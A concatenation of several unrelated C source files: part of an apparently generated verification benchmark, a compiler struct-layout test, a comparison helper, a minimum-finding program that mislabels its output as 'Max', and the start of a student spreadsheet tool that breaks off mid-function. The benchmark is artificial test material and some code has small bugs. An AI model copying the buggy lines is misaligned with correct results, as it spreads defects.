x_6 = __VERIFIER_nondet_float();
x_7 = __VERIFIER_nondet_float();
x_1 = __VERIFIER_nondet_float();
x_10 = __VERIFIER_nondet_float();
bool __ok = (1 && (( !(((x_1 + (-1.0 * x_7)) <= 20.0) || ( !((x_2 + (-1.0 * x_4)) <= -4.0)))) || (((x_8 + (-1.0 * x_11)) <= 4.0) && _EL_U_854)));
while (__steps_to_fair >= 0 && __ok) {
if ((( !(((x_1 + (-1.0 * x_7)) <= 20.0) || ( !((x_2 + (-1.0 * x_4)) <= -4.0)))) || ( !(( !(((x_1 + (-1.0 * x_7)) <= 20.0) || ( !((x_2 + (-1.0 * x_4)) <= -4.0)))) || (((x_8 + (-1.0 * x_11)) <= 4.0) && _EL_U_854))))) {
__steps_to_fair = __VERIFIER_nondet_int();
} else {
__steps_to_fair--;
}
_x_x_12 = __VERIFIER_nondet_float();
_x__EL_U_854 = __VERIFIER_nondet_bool();
_x_x_11 = __VERIFIER_nondet_float();
_x_x_13 = __VERIFIER_nondet_float();
_x_x_0 = __VERIFIER_nondet_float();
_x_x_3 = __VERIFIER_nondet_float();
_x_x_8 = __VERIFIER_nondet_float();
_x_x_14 = __VERIFIER_nondet_float();
_x_x_15 = __VERIFIER_nondet_float();
_x_x_5 = __VERIFIER_nondet_float();
_x_x_4 = __VERIFIER_nondet_float();
_x_x_2 = __VERIFIER_nondet_float();
_x_x_9 = __VERIFIER_nondet_float();
_x_x_6 = __VERIFIER_nondet_float();
_x_x_7 = __VERIFIER_nondet_float();
_x_x_1 = __VERIFIER_nondet_float();
_x_x_10 = __VERIFIER_nondet_float();
__ok = ((((((((((((((((((((x_15 + (-1.0 * _x_x_0)) <= -3.0) && (((x_14 + (-1.0 * _x_x_0)) <= -2.0) && (((x_13 + (-1.0 * _x_x_0)) <= -20.0) && (((x_12 + (-1.0 * _x_x_0)) <= -10.0) && (((x_11 + (-1.0 * _x_x_0)) <= -2.0) && (((x_10 + (-1.0 * _x_x_0)) <= -14.0) && (((x_7 + (-1.0 * _x_x_0)) <= -7.0) && ((x_9 + (-1.0 * _x_x_0)) <= -6.0)))))))) && (((x_15 + (-1.0 * _x_x_0)) == -3.0) || (((x_14 + (-1.0 * _x_x_0)) == -2.0) || (((x_13 + (-1.0 * _x_x_0)) == -20.0) || (((x_12 + (-1.0 * _x_x_0)) == -10.0) || (((x_11 + (-1.0 * _x_x_0)) == -2.0) || (((x_10 + (-1.0 * _x_x_0)) == -14.0) || (((x_7 + (-1.0 * _x_x_0)) == -7.0) || ((x_9 + (-1.0 * _x_x_0)) == -6.0))))))))) && ((((x_14 + (-1.0 * _x_x_1)) <= -5.0) && (((x_13 + (-1.0 * _x_x_1)) <= -13.0) && (((x_11 + (-1.0 * _x_x_1)) <= -14.0) && (((x_7 + (-1.0 * _x_x_1)) <= -6.0) && (((x_6 + (-1.0 * _x_x_1)) <= -17.0) && (((x_4 + (-1.0 * _x_x_1)) <= -9.0) && (((x_2 + (-1.0 * _x_x_1)) <= -11.0) && ((x_3 + (-1.0 * _x_x_1)) <= -17.0)))))))) && (((x_14 + (-1.0 * _x_x_1)) == -5.0) || (((x_13 + (-1.0 * _x_x_1)) == -13.0) || (((x_11 + (-1.0 * _x_x_1)) == -14.0) || (((x_7 + (-1.0 * _x_x_1)) == -6.0) || (((x_6 + (-1.0 * _x_x_1)) == -17.0) || (((x_4 + (-1.0 * _x_x_1)) == -9.0) || (((x_2 + (-1.0 * _x_x_1)) == -11.0) || ((x_3 + (-1.0 * _x_x_1)) == -17.0)))))))))) && ((((x_14 + (-1.0 * _x_x_2)) <= -5.0) && (((x_9 + (-1.0 * _x_x_2)) <= -16.0) && (((x_8 + (-1.0 * _x_x_2)) <= -10.0) && (((x_7 + (-1.0 * _x_x_2)) <= -12.0) && (((x_6 + (-1.0 * _x_x_2)) <= -8.0) && (((x_5 + (-1.0 * _x_x_2)) <= -14.0) && (((x_2 + (-1.0 * _x_x_2)) <= -15.0) && ((x_3 + (-1.0 * _x_x_2)) <= -4.0)))))))) && (((x_14 + (-1.0 * _x_x_2)) == -5.0) || (((x_9 + (-1.0 * _x_x_2)) == -16.0) || (((x_8 + (-1.0 * _x_x_2)) == -10.0) || (((x_7 + (-1.0 * _x_x_2)) == -12.0) || (((x_6 + (-1.0 * _x_x_2)) == -8.0) || (((x_5 + (-1.0 * _x_x_2)) == -14.0) || (((x_2 + (-1.0 * _x_x_2)) == -15.0) || ((x_3 + (-1.0 * _x_x_2)) == -4.0)))))))))) && ((((x_15 + (-1.0 * _x_x_3)) <= -10.0) && (((x_14 + (-1.0 * _x_x_3)) <= -16.0) && (((x_11 + (-1.0 * _x_x_3)) <= -5.0) && (((x_9 + (-1.0 * _x_x_3)) <= -7.0) && (((x_8 + (-1.0 * _x_x_3)) <= -20.0) && (((x_6 + (-1.0 * _x_x_3)) <= -10.0) && (((x_0 + (-1.0 * _x_x_3)) <= -6.0) && ((x_1 + (-1.0 * _x_x_3)) <= -14.0)))))))) && (((x_15 + (-1.0 * _x_x_3)) == -10.0) || (((x_14 + (-1.0 * _x_x_3)) == -16.0) || (((x_11 + (-1.0 * _x_x_3)) == -5.0) || (((x_9 + (-1.0 * _x_x_3)) == -7.0) || (((x_8 + (-1.0 * _x_x_3)) == -20.0) || (((x_6 + (-1.0 * _x_x_3)) == -10.0) || (((x_0 + (-1.0 * _x_x_3)) == -6.0) || ((x_1 + (-1.0 * _x_x_3)) == -14.0)))))))))) && ((((x_15 + (-1.0 * _x_x_4)) <= -1.0) && (((x_14 + (-1.0 * _x_x_4)) <= -9.0) && (((x_13 + (-1.0 * _x_x_4)) <= -12.0) && (((x_12 + (-1.0 * _x_x_4)) <= -15.0) && (((x_11 + (-1.0 * _x_x_4)) <= -3.0) && (((x_7 + (-1.0 * _x_x_4)) <= -3.0) && (((x_0 + (-1.0 * _x_x_4)) <= -6.0) && ((x_6 + (-1.0 * _x_x_4)) <= -3.0)))))))) && (((x_15 + (-1.0 * _x_x_4)) == -1.0) || (((x_14 + (-1.0 * _x_x_4)) == -9.0) || (((x_13 + (-1.0 * _x_x_4)) == -12.0) || (((x_12 + (-1.0 * _x_x_4)) == -15.0) || (((x_11 + (-1.0 * _x_x_4)) == -3.0) || (((x_7 + (-1.0 * _x_x_4)) == -3.0) || (((x_0 + (-1.0 * _x_x_4)) == -6.0) || ((x_6 + (-1.0 * _x_x_4)) == -3.0)))))))))) && ((((x_15 + (-1.0 * _x_x_5)) <= -20.0) && (((x_10 + (-1.0 * _x_x_5)) <= -20.0) && (((x_8 + (-1.0 * _x_x_5)) <= -1.0) && (((x_7 + (-1.0 * _x_x_5)) <= -6.0) && (((x_5 + (-1.0 * _x_x_5)) <= -19.0) && (((x_3 + (-1.0 * _x_x_5)) <= -8.0) && (((x_0 + (-1.0 * _x_x_5)) <= -8.0) && ((x_2 + (-1.0 * _x_x_5)) <= -4.0)))))))) && (((x_15 + (-1.0 * _x_x_5)) == -20.0) || (((x_10 + (-1.0 * _x_x_5)) == -20.0) || (((x_8 + (-1.0 * _x_x_5)) == -1.0) || (((x_7 + (-1.0 * _x_x_5)) == -6.0) || (((x_5 + (-1.0 * _x_x_5)) == -19.0) || (((x_3 + (-1.0 * _x_x_5)) == -8.0) || (((x_0 + (-1.0 * _x_x_5)) == -8.0) || ((x_2 + (-1.0 * _x_x_5)) == -4.0)))))))))) && ((((x_15 + (-1.0 * _x_x_6)) <= -7.0) && (((x_14 + (-1.0 * _x_x_6)) <= -17.0) && (((x_10 + (-1.0 * _x_x_6)) <= -19.0) && (((x_9 + (-1.0 * _x_x_6)) <= -15.0) && (((x_8 + (-1.0 * _x_x_6)) <= -12.0) && (((x_6 + (-1.0 * _x_x_6)) <= -14.0) && (((x_1 + (-1.0 * _x_x_6)) <= -15.0) && ((x_5 + (-1.0 * _x_x_6)) <= -12.0)))))))) && (((x_15 + (-1.0 * _x_x_6)) == -7.0) || (((x_14 + (-1.0 * _x_x_6)) == -17.0) || (((x_10 + (-1.0 * _x_x_6)) == -19.0) || (((x_9 + (-1.0 * _x_x_6)) == -15.0) || (((x_8 + (-1.0 * _x_x_6)) == -12.0) || (((x_6 + (-1.0 * _x_x_6)) == -14.0) || (((x_1 + (-1.0 * _x_x_6)) == -15.0) || ((x_5 + (-1.0 * _x_x_6)) == -12.0)))))))))) && ((((x_14 + (-1.0 * _x_x_7)) <= -7.0) && (((x_12 + (-1.0 * _x_x_7)) <= -9.0) && (((x_11 + (-1.0 * _x_x_7)) <= -9.0) && (((x_7 + (-1.0 * _x_x_7)) <= -8.0) && (((x_6 + (-1.0 * _x_x_7)) <= -18.0) && (((x_4 + (-1.0 * _x_x_7)) <= -5.0) && (((x_0 + (-1.0 * _x_x_7)) <= -13.0) && ((x_3 + (-1.0 * _x_x_7)) <= -13.0)))))))) && (((x_14 + (-1.0 * _x_x_7)) == -7.0) || (((x_12 + (-1.0 * _x_x_7)) == -9.0) || (((x_11 + (-1.0 * _x_x_7)) == -9.0) || (((x_7 + (-1.0 * _x_x_7)) == -8.0) || (((x_6 + (-1.0 * _x_x_7)) == -18.0) || (((x_4 + (-1.0 * _x_x_7)) == -5.0) || (((x_0 + (-1.0 * _x_x_7)) == -13.0) || ((x_3 + (-1.0 * _x_x_7)) == -13.0)))))))))) && ((((x_15 + (-1.0 * _x_x_8)) <= -14.0) && (((x_14 + (-1.0 * _x_x_8)) <= -12.0) && (((x_12 + (-1.0 * _x_x_8)) <= -13.0) && (((x_11 + (-1.0 * _x_x_8)) <= -11.0) && (((x_8 + (-1.0 * _x_x_8)) <= -12.0) && (((x_5 + (-1.0 * _x_x_8)) <= -9.0) && (((x_0 + (-1.0 * _x_x_8)) <= -13.0) && ((x_3 + (-1.0 * _x_x_8)) <= -20.0)))))))) && (((x_15 + (-1.0 * _x_x_8)) == -14.0) || (((x_14 + (-1.0 * _x_x_8)) == -12.0) || (((x_12 + (-1.0 * _x_x_8)) == -13.0) || (((x_11 + (-1.0 * _x_x_8)) == -11.0) || (((x_8 + (-1.0 * _x_x_8)) == -12.0) || (((x_5 + (-1.0 * _x_x_8)) == -9.0) || (((x_0 + (-1.0 * _x_x_8)) == -13.0) || ((x_3 + (-1.0 * _x_x_8)) == -20.0)))))))))) && ((((x_12 + (-1.0 * _x_x_9)) <= -13.0) && (((x_11 + (-1.0 * _x_x_9)) <= -3.0) && (((x_7 + (-1.0 * _x_x_9)) <= -6.0) && (((x_6 + (-1.0 * _x_x_9)) <= -19.0) && (((x_5 + (-1.0 * _x_x_9)) <= -17.0) && (((x_3 + (-1.0 * _x_x_9)) <= -2.0) && (((x_0 + (-1.0 * _x_x_9)) <= -5.0) && ((x_2 + (-1.0 * _x_x_9)) <= -7.0)))))))) && (((x_12 + (-1.0 * _x_x_9)) == -13.0) || (((x_11 + (-1.0 * _x_x_9)) == -3.0) || (((x_7 + (-1.0 * _x_x_9)) == -6.0) || (((x_6 + (-1.0 * _x_x_9)) == -19.0) || (((x_5 + (-1.0 * _x_x_9)) == -17.0) || (((x_3 + (-1.0 * _x_x_9)) == -2.0) || (((x_0 + (-1.0 * _x_x_9)) == -5.0) || ((x_2 + (-1.0 * _x_x_9)) == -7.0)))))))))) && ((((x_15 + (-1.0 * _x_x_10)) <= -6.0) && (((x_14 + (-1.0 * _x_x_10)) <= -8.0) && (((x_12 + (-1.0 * _x_x_10)) <= -15.0) && (((x_11 + (-1.0 * _x_x_10)) <= -14.0) && (((x_10 + (-1.0 * _x_x_10)) <= -16.0) && (((x_6 + (-1.0 * _x_x_10)) <= -19.0) && (((x_0 + (-1.0 * _x_x_10)) <= -15.0) && ((x_1 + (-1.0 * _x_x_10)) <= -12.0)))))))) && (((x_15 + (-1.0 * _x_x_10)) == -6.0) || (((x_14 + (-1.0 * _x_x_10)) == -8.0) || (((x_12 + (-1.0 * _x_x_10)) == -15.0) || (((x_11 + (-1.0 * _x_x_10)) == -14.0) || (((x_10 + (-1.0 * _x_x_10)) == -16.0) || (((x_6 + (-1.0 * _x_x_10)) == -19.0) || (((x_0 + (-1.0 * _x_x_10)) == -15.0) || ((x_1 + (-1.0 * _x_x_10)) == -12.0)))))))))) && ((((x_12 + (-1.0 * _x_x_11)) <= -11.0) && (((x_10 + (-1.0 * _x_x_11)) <= -8.0) && (((x_9 + (-1.0 * _x_x_11)) <= -4.0) && (((x_8 + (-1.0 * _x_x_11)) <= -6.0) && (((x_7 + (-1.0 * _x_x_11)) <= -3.0) && (((x_4 + (-1.0 * _x_x_11)) <= -13.0) && (((x_1 + (-1.0 * _x_x_11)) <= -15.0) && ((x_3 + (-1.0 * _x_x_11)) <= -20.0)))))))) && (((x_12 + (-1.0 * _x_x_11)) == -11.0) || (((x_10 + (-1.0 * _x_x_11)) == -8.0) || (((x_9 + (-1.0 * _x_x_11)) == -4.0) || (((x_8 + (-1.0 * _x_x_11)) == -6.0) || (((x_7 + (-1.0 * _x_x_11)) == -3.0) || (((x_4 + (-1.0 * _x_x_11)) == -13.0) || (((x_1 + (-1.0 * _x_x_11)) == -15.0) || ((x_3 + (-1.0 * _x_x_11)) == -20.0)))))))))) && ((((x_15 + (-1.0 * _x_x_12)) <= -1.0) && (((x_14 + (-1.0 * _x_x_12)) <= -9.0) && (((x_11 + (-1.0 * _x_x_12)) <= -15.0) && (((x_8 + (-1.0 * _x_x_12)) <= -17.0) && (((x_7 + (-1.0 * _x_x_12)) <= -20.0) && (((x_2 + (-1.0 * _x_x_12)) <= -19.0) && (((x_0 + (-1.0 * _x_x_12)) <= -3.0) && ((x_1 + (-1.0 * _x_x_12)) <= -15.0)))))))) && (((x_15 + (-1.0 * _x_x_12)) == -1.0) || (((x_14 + (-1.0 * _x_x_12)) == -9.0) || (((x_11 + (-1.0 * _x_x_12)) == -15.0) || (((x_8 + (-1.0 * _x_x_12)) == -17.0) || (((x_7 + (-1.0 * _x_x_12)) == -20.0) || (((x_2 + (-1.0 * _x_x_12)) == -19.0) || (((x_0 + (-1.0 * _x_x_12)) == -3.0) || ((x_1 + (-1.0 * _x_x_12)) == -15.0)))))))))) && ((((x_15 + (-1.0 * _x_x_13)) <= -3.0) && (((x_14 + (-1.0 * _x_x_13)) <= -9.0) && (((x_13 + (-1.0 * _x_x_13)) <= -14.0) && (((x_10 + (-1.0 * _x_x_13)) <= -19.0) && (((x_8 + (-1.0 * _x_x_13)) <= -9.0) && (((x_4 + (-1.0 * _x_x_13)) <= -16.0) && (((x_2 + (-1.0 * _x_x_13)) <= -3.0) && ((x_3 + (-1.0 * _x_x_13)) <= -17.0)))))))) && (((x_15 + (-1.0 * _x_x_13)) == -3.0) || (((x_14 + (-1.0 * _x_x_13)) == -9.0) || (((x_13 + (-1.0 * _x_x_13)) == -14.0) || (((x_10 + (-1.0 * _x_x_13)) == -19.0) || (((x_8 + (-1.0 * _x_x_13)) == -9.0) || (((x_4 + (-1.0 * _x_x_13)) == -16.0) || (((x_2 + (-1.0 * _x_x_13)) == -3.0) || ((x_3 + (-1.0 * _x_x_13)) == -17.0)))))))))) && ((((x_11 + (-1.0 * _x_x_14)) <= -9.0) && (((x_10 + (-1.0 * _x_x_14)) <= -5.0) && (((x_9 + (-1.0 * _x_x_14)) <= -11.0) && (((x_8 + (-1.0 * _x_x_14)) <= -1.0) && (((x_5 + (-1.0 * _x_x_14)) <= -15.0) && (((x_4 + (-1.0 * _x_x_14)) <= -20.0) && (((x_2 + (-1.0 * _x_x_14)) <= -17.0) && ((x_3 + (-1.0 * _x_x_14)) <= -8.0)))))))) && (((x_11 + (-1.0 * _x_x_14)) == -9.0) || (((x_10 + (-1.0 * _x_x_14)) == -5.0) || (((x_9 + (-1.0 * _x_x_14)) == -11.0) || (((x_8 + (-1.0 * _x_x_14)) == -1.0) || (((x_5 + (-1.0 * _x_x_14)) == -15.0) || (((x_4 + (-1.0 * _x_x_14)) == -20.0) || (((x_2 + (-1.0 * _x_x_14)) == -17.0) || ((x_3 + (-1.0 * _x_x_14)) == -8.0)))))))))) && ((((x_13 + (-1.0 * _x_x_15)) <= -16.0) && (((x_12 + (-1.0 * _x_x_15)) <= -2.0) && (((x_10 + (-1.0 * _x_x_15)) <= -7.0) && (((x_8 + (-1.0 * _x_x_15)) <= -16.0) && (((x_6 + (-1.0 * _x_x_15)) <= -11.0) && (((x_5 + (-1.0 * _x_x_15)) <= -11.0) && (((x_3 + (-1.0 * _x_x_15)) <= -12.0) && ((x_4 + (-1.0 * _x_x_15)) <= -2.0)))))))) && (((x_13 + (-1.0 * _x_x_15)) == -16.0) || (((x_12 + (-1.0 * _x_x_15)) == -2.0) || (((x_10 + (-1.0 * _x_x_15)) == -7.0) || (((x_8 + (-1.0 * _x_x_15)) == -16.0) || (((x_6 + (-1.0 * _x_x_15)) == -11.0) || (((x_5 + (-1.0 * _x_x_15)) == -11.0) || (((x_3 + (-1.0 * _x_x_15)) == -12.0) || ((x_4 + (-1.0 * _x_x_15)) == -2.0)))))))))) && (_EL_U_854 == ((_x__EL_U_854 && ((_x_x_8 + (-1.0 * _x_x_11)) <= 4.0)) || ( !(( !((_x_x_2 + (-1.0 * _x_x_4)) <= -4.0)) || ((_x_x_1 + (-1.0 * _x_x_7)) <= 20.0))))));
x_12 = _x_x_12;
_EL_U_854 = _x__EL_U_854;
x_11 = _x_x_11;
x_13 = _x_x_13;
x_0 = _x_x_0;
x_3 = _x_x_3;
x_8 = _x_x_8;
x_14 = _x_x_14;
x_15 = _x_x_15;
x_5 = _x_x_5;
x_4 = _x_x_4;
x_2 = _x_x_2;
x_9 = _x_x_9;
x_6 = _x_x_6;
x_7 = _x_x_7;
x_1 = _x_x_1;
x_10 = _x_x_10;
}
}
|
the_stack_data/26700153.c | int main() {
struct A *q;
struct A {
int a_int_one;
struct B {
int b_int_one;
long b_long;
int b_int_two;
} b_struct;
int a_int_two, *a_ptr;
int;
} a;
q = &a;
void* p1 = q + 1;
char* p2 = p1;
// this is a hacky test to check sizeof(struct A)
void* p3 = p2 - 8*4;
if(p3 != q) return 1;
struct {};
struct I {} b;
if(&b != (&b + 1)) return 2;
//////////////////////////
a.a_int_one = 10;
if(a.a_int_one != 10) return 3;
a.a_ptr = &a.a_int_one;
*a.a_ptr = 20;
if(a.a_int_one != 20) return 4;
q = &a;
(*q).a_int_two = 15;
if(a.a_int_two != 15) return 5;
if(q->a_int_two != 15) return 11;
p1 = q;
p3 = &a.a_int_one;
if(p1 != p3) return 6;
a.b_struct.b_long = 10;
if(a.b_struct.b_long != 10) return 7;
if((*(&a.b_struct)).b_long != 10) return 8;
if((&a.b_struct)->b_long != 10) return 12;
long* p_val = &a.b_struct.b_long;
if(*p_val != 10) return 9;
*p_val = 20;
if(a.b_struct.b_long != 20) return 10;
struct A array[10];
array[3].b_struct.b_int_one = 3;
if(array[3].b_struct.b_int_one != 3) return 13;
if((&array[0] + 3)->b_struct.b_int_one != 3) return 14;
// Check with array members
struct F {
int array[10];
};
struct F array2[10];
array2[5].array[5] = 3;
if(array2[5].array[5] != 3) return 15;
// Check anonymous struct
struct {
int a;
} s;
s.a = 3;
if(s.a != 3) return 16;
// Check with union members
struct C {
int c_int;
union D {
int d_int;
long d_long;
} nested_union_d;
union E {
int e_int;
} nested_union_e;
};
}
|
the_stack_data/68889134.c | /* dbl_cmp.c
=========
Author: R.J.Barnes & K. Baker
*/
/*
LICENSE AND DISCLAIMER
Copyright (c) 2012 The Johns Hopkins University/Applied Physics Laboratory
This file is part of the Radar Software Toolkit (RST).
RST is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
RST is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License
along with RST. If not, see <http://www.gnu.org/licenses/>.
*/
int dbl_cmp(const void *x,const void *y) {
double *a,*b;
a=(double *) x;
b=(double *) y;
if (*a > *b) return 1;
else if (*a == *b) return 0;
else return -1;
}
|
the_stack_data/1083867.c | #include <stdio.h>
#include <limits.h>
void main()
{
int min = INT_MAX, i, x;
for (i = 6; i > 0; i--)
{
printf("Print a Number: ");
scanf("%d", &x);
if (x < min) min = x;
}
printf("Max number is %d\n", min);
} |
the_stack_data/43887291.c | /**
* Author: Ondrej Mach
* VUT login: xmacho12
* E-mail: [email protected]
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <math.h>
#define MAX_CELL_LENGTH 1001
#define MAX_COMMAND_LENGTH 1001
#define INF_CYCLE_LIMIT 10000
// struct for each cell
// might not be necessary, but makes the program more extensible
typedef struct {
char *str;
} Cell;
// selection is always a rectangle
typedef struct {
// every of these can be zero
// that means that the selection goes to the end of the table
unsigned startRow;
unsigned startCol;
unsigned endRow;
unsigned endCol;
} Selection;
// struct for table
typedef struct {
// number of rows and columns
unsigned rows, cols;
// the actual data, dynamically allocated
Cell **cells;
// selection is an attribute of the table
Selection sel;
// the main delimiter
char delim;
} Table;
// struct for table
typedef struct {
// variables _0 to _9
Cell cellVars[10];
// Selection variable _
Selection selVar;
} Variables;
// all program states
// these are returned by most functions that can fail in any way
typedef enum {
SUCCESS = 0,
ERR_GENERIC,
ERR_BAD_SELECTION,
ERR_BAD_SYNTAX,
ERR_COMMAND_NOT_FOUND,
ERR_BAD_INPUT,
ERR_FILE_ACCESS,
ERR_MEMORY,
ERR_INF_CYCLE,
} State;
// Everything, that commands might have access to
// is easier to extend, when a command needs something special
typedef struct {
Table *table;
// arguments ot the command itself
char *argStr;
Variables *vars;
// be very careful, this influences the flow of the program
unsigned *execPtr;
} Context;
// struct for all the commands
typedef struct {
// name is used only for parsing
char name[16];
State (*fn)(Context);
// only used when executing
char *argStr;
} Command;
// One structure is easier to manage than an array of commands
typedef struct {
unsigned len;
// dynamic array with commands
Command *cmds;
} Program;
typedef struct {
char *delimiters;
char *filename;
char *commandString;
} Arguments;
// ---------- FUNCTION PROTOTYPES ------------
void printTable(Table *table, FILE *f);
unsigned selUpperBound(Table *table);
unsigned selLowerBound(Table *table);
unsigned selLeftBound(Table *table);
unsigned selRightBound(Table *table);
State assureTableSize(Table *table, unsigned rows, unsigned cols);
// ---------- STRING FUNCTIONS ------------
// gets rid of all the escape characters
// quotation marks etc.
// returns how many characters in original string were parsed
size_t parseString(char *dst, char *src, char *delims) {
int srcIndex = 0, dstIndex = 0;
bool isQuoted = false;
bool isEscaped = false;
bool expectingEnd = false;
for (; src[srcIndex] != '\0'; srcIndex++) {
// if escape character
if ((src[srcIndex] == '\\') && !isEscaped) {
isEscaped = true;
continue;
}
// only first character can start quoted cell
if ((src[srcIndex] == '\"') && (srcIndex == 0)) {
isQuoted = true;
continue;
}
// ending quotation
if ((src[srcIndex] == '\"') && !isEscaped && isQuoted) {
isQuoted = false;
expectingEnd = true;
continue;
}
// if scanned character is delimiter
if (strchr(delims, src[srcIndex]) && !isEscaped && !isQuoted)
break;
// check for \n is after check for escape character
// it is the only character, that cannot be escaped
if (src[srcIndex] == '\n') {
// it is illegal to escape or quote '\n'
if (isEscaped || isQuoted)
return 0;
break;
}
// if the string should have ended, there is something wrong
if (expectingEnd && src[srcIndex] != ']')
return 0;
// if there is nothing special about the characters
// write it into the buffer
dst[dstIndex] = src[srcIndex];
isEscaped = false;
dstIndex++;
}
if (isQuoted)
return 0;
dst[dstIndex] = '\0';
return srcIndex;
}
char *fileToBuffer(FILE *f) {
// get the file into a buffer
char *buffer = malloc(sizeof(char));;
int i = 0;
while ((buffer[i] = fgetc(f)) != EOF) {
i++;
buffer = realloc(buffer, (i+1) * sizeof(char));
}
buffer[i] = '\0';
return buffer;
}
// checks if the first string begins with the second
int strbgn(const char *str, const char *substr) {
size_t len = strlen(substr);
return memcmp(str, substr, len);
}
// inserts a character into a string
void strins(char *dst, char *src) {
memmove(&dst[strlen(src)], dst, strlen(dst) + 1);
memcpy(dst, src, strlen(src));
}
// parse any selection with coordinates
State parseSelection(Selection *sel, char *str) {
if (str[0] != '[')
return ERR_BAD_SYNTAX;
const unsigned MAX_NUM = 4;
unsigned numValues = 0;
unsigned values[MAX_NUM];
// shift for '[' at the beginning
unsigned strIndex = 1;
while (numValues < MAX_NUM) {
if (str[strIndex] == '_' || str[strIndex] == '-') {
values[numValues] = 0;
strIndex += 1;
} else {
char *endPtr;
values[numValues] = (unsigned)strtol(&str[strIndex], &endPtr, 10);
int shift = endPtr - &str[strIndex];
if (shift == 0)
return ERR_BAD_SYNTAX;
strIndex += shift;
}
numValues++;
if (str[strIndex] == ',') {
strIndex++;
continue;
}
if (str[strIndex] == ']')
break;
return ERR_BAD_SYNTAX;
}
if (numValues == 2) {
sel->startRow = values[0];
sel->endRow = values[0];
sel->startCol = values[1];
sel->endCol = values[1];
return SUCCESS;
}
if (numValues == 4) {
sel->startRow = values[0];
sel->endRow = values[2];
sel->startCol = values[1];
sel->endCol = values[3];
return SUCCESS;
}
return ERR_BAD_SYNTAX;
}
State parseCoords(char *str, unsigned *a, unsigned *b) {
Selection sel;
State s = parseSelection(&sel, str);
if (s != SUCCESS)
return s;
if (sel.startRow != sel.endRow)
return ERR_BAD_SYNTAX;
if (sel.startCol != sel.endCol)
return ERR_BAD_SYNTAX;
if (sel.startCol == 0 || sel.endCol == 0)
return ERR_BAD_SYNTAX;
*a = sel.startRow;
*b = sel.startCol;
return SUCCESS;
}
// ---------- OTHER FUNCTIONS ------------
// initializes the selection to default values
void selection_init(Selection *sel) {
sel->startRow = 1;
sel->startCol = 1;
sel->endRow = 1;
sel->endCol = 1;
}
// ---------- CELL FUNCTIONS -----------
// constructs a new empty cell
State cell_ctor(Cell *cell) {
// only the termination character
cell->str = calloc(1, sizeof(char));
if (cell->str == NULL)
return ERR_MEMORY;
return SUCCESS;
}
// destructs a cell
void cell_dtor(Cell *cell) {
free(cell->str);
cell->str = NULL;
}
// writes chars from buffer into a cell
State writeCell(Cell *cell, char *src) {
free(cell->str);
cell->str = malloc((strlen(src) + 1) * sizeof(char));
if (cell->str == NULL)
return ERR_MEMORY;
strcpy(cell->str, src);
return SUCCESS;
}
// writes chars from buffer into a cell
State deepCopyCell(Cell *dst, Cell *src) {
return writeCell(dst, src->str);
}
// writes chars from buffer into a cell
State swapCell(Cell *c1, Cell *c2) {
Cell tmp;
// shallow copy is enough, pointers will be swapped
tmp = *c2;
*c2 = *c1;
*c1 = tmp;
return SUCCESS;
}
// prints contents of one cell into a file
void printCell(Table *table, Cell *cell, FILE *f) {
// just to be safe for cases, where there are tons of backslashes
char buffer[2*strlen(cell->str) + 5];
strcpy(buffer, cell->str);
bool needsQuotes = false;
needsQuotes = needsQuotes || strchr(cell->str, table->delim);
needsQuotes = needsQuotes || strchr(cell->str, '\"');
size_t i = 0;
while (buffer[i] != '\0') {
if (buffer[i] == '\"') {
strins(&buffer[i], "\\");
i++;
}
i++;
}
if (needsQuotes) {
// if there is delimiter in the cell
strins(buffer, "\"");
strins(&buffer[strlen(buffer)], "\"");
}
fprintf(f, "%s", buffer);
}
// gets cell pointer from its coordinates
double cellToDouble(Cell *cell) {
char *end;
double val = strtod(cell->str, &end);
if (end == cell->str)
return NAN;
return val;
}
// gets cell pointer from its coordinates
Cell *getCellPtr(Table *table, unsigned row, unsigned col) {
if ((row == 0) || (col == 0))
return NULL;
assureTableSize(table, row, col);
return &table->cells[row-1][col-1];
}
// returns NULL if there is more than one cell selected
Cell *selectedCell(Table *table) {
unsigned row = selUpperBound(table);
unsigned col = selLeftBound(table);
if (row != selLowerBound(table))
return NULL;
if (col != selRightBound(table))
return NULL;
return getCellPtr(table, row, col);
}
// ---------- PROGRAM FUNCTIONS ------------
// initializes the program structure
State program_ctor(Program *prog) {
prog->len = 0;
prog->cmds = NULL;
return SUCCESS;
}
// deallocates the program structure
void program_dtor(Program *prog) {
for (size_t i=0; i < prog->len; i++) {
free(prog->cmds[i].argStr);
}
free(prog->cmds);
prog->len = 0;
}
// appends a command to the program structure
State addCommand(Program *prog, const Command *cmd) {
prog->len++;
Command *p = realloc(prog->cmds, sizeof(Command) * prog->len);
if (p == NULL)
return ERR_MEMORY;
prog->cmds = p;
size_t last = prog->len - 1;
// the name is not needed for running, copied just for debugging purposes
strcpy(prog->cmds[last].name, cmd->name);
prog->cmds[last].fn = cmd->fn;
// not set yet
prog->cmds[last].argStr = NULL;
return SUCCESS;
}
// ---------- VARIABLES FUNCTIONS -----------
State variables_ctor(Variables *v) {
State s = SUCCESS;
selection_init(&v->selVar);
const int num = sizeof(v->cellVars) / sizeof(Cell);
for (int i=0; i<num; i++) {
s = cell_ctor(&v->cellVars[i]);
if (s != SUCCESS)
break;
}
return s;
}
void variables_dtor(Variables *v) {
const int num = sizeof(v->cellVars) / sizeof(Cell);
for (int i=0; i<num; i++) {
cell_dtor(&v->cellVars[i]);
}
}
// ---------- SIMPLE TABLE FUNCTIONS -----------
// constructs a new empty table
void table_ctor(Table *table) {
table->rows = 0;
table->cols = 0;
table->cells = NULL;
selection_init(&table->sel);
}
// deallocates all the pointers in the table structure
void table_dtor(Table *table) {
for (unsigned i=0; i < table->rows; i++) {
for (unsigned j=0; j < table->cols; j++) {
cell_dtor(&table->cells[i][j]);
}
free(table->cells[i]);
}
free(table->cells);
table->cells = NULL;
table->rows = 0;
table->cols = 0;
}
// adds an empty row to the end of the table
State addRow(Table *table) {
// allocate one more row pointer in the array
Cell **p = realloc(table->cells, (table->rows + 1) * sizeof(Cell *));
if (p)
table->cells = p;
else
return ERR_MEMORY;
// allocate new cell array for the new row
table->cells[table->rows] = malloc(table->cols * sizeof(Cell));
if (table->cells[table->rows] == NULL)
return ERR_MEMORY;
// initialize all the cells in the new row
